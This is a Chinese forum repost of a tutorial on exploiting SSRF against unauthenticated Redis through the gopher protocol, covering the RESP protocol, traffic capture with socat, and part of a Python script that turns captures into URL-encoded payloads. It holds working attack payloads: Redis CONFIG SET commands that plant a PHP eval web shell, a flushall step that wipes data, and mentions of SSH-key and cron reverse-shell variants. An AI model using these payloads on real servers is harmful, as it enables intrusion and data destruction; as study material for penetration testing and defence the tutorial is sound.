|
作者:yunying
转载来源:https://www.cnblogs.com/BOHB-yunying/p/12962057.html
文章确实不错,可以点个收藏之后在电脑端慢慢复现。文章只做科普,不可用于非法途径,出现任何法律及其他问题与发布方无关!
SSRF介绍
SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统
Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。
你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。
- CONFIG SET dir /VAR/WWW/HTML
- CONFIG SET dbfilename sh.php
- SET PAYLOAD '<?php eval($_GET[0]);?>'
复制代码
这是之前redis常用的getshell套路。但是由于权限问题,并不是总能成功写入文件。
RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
1.客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
2.服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。
这里本地测试下
- tcpdump port 6379 -w nopass.pcap
复制代码 无论用tcpdump还是socat转发都抓不到任何流量,我傻了。用了socat也是一样。发现达不到文章中的效果。崩溃了,搞了好几个小时,根本抓不到本地的。害,只能远程
可以看到
中间还有很多乱码
我们这里先开启redis-server /etc/redis.conf
在执行,意思为将4444端口收到的请求转发给6379端口
- socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
复制代码
这里用redis-cli连接4444端口,就可以抓到数据了,用tcpdump有乱码
每行都是\r结尾的,但是redis的协议是以CRLF结尾,所以如果这样的数据直接复制粘贴下来去转换的时候,要把\r转换为%0d%0a
客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$3代表字符串的长度,0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串
Gopher
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
opher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
当存在ssrf漏洞,并且有回显的时候
- test.php<?php$ch = curl_init(); // 创建一个新cURL资源curl_setopt($ch,
复制代码
redis常见的SSRF攻击方式大概有这几种:
绝对路径写webshell
写ssh公钥
写contrab计划任务反弹shell
我逐个来尝试复现
绝对路径写webshell
利用条件:
1、目标存在web目录
2、已知web绝对路径
3、存在写入权限
构造如下payload:
- flushall
- set 1 '<?php phpinfo();?>'
- config set dir /var/www/html
- config set dbfilename shell.php
复制代码
整理获得如下payload
- *1\r
- $8\r
- flushall\r
- *3\r
- $3\r
- set\r
- $1\r
- 1\r
- $18\r
- <?php phpinfo();?>\r
- *4\r
- $6\r
- config\r
- $3\r
- set\r
- $3\r
- dir\r
- $13\r
- /var/www/html\r
- *4\r
- $6\r
- config\r
- $3\r
- set\r
复制代码
这里给出Joychu师傅给出的转换规则
- 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
- 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
- 将\r字符串替换成%0d%0a
- 空白行替换为%0a
复制代码
Joychu师傅的转换脚本:
- #coding: utf-8
- #author: JoyChou
- import sys
- exp = ''
- with open(sys.argv[1]) as f:
- for line in f.readlines():
- if line[0] in '><+':
- continue
- # 判断倒数第2、3字符串是否为\r
- elif line[-3:-1] == r'\r':
- # 如果该行只有\r,将\r替换成%0a%0d%0a
- if len(line) == 3:
- exp = exp + '%0a%0d%0a'
- else:
- line = line.replace(r'\r', '%0d%0a')
- # 去掉最后的换行符
- line = line.replace('\n', '')
- exp = exp + line
- # 判断是否是空行,空行替换为%0a
复制代码 再放一个七友师傅写的脚本:
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|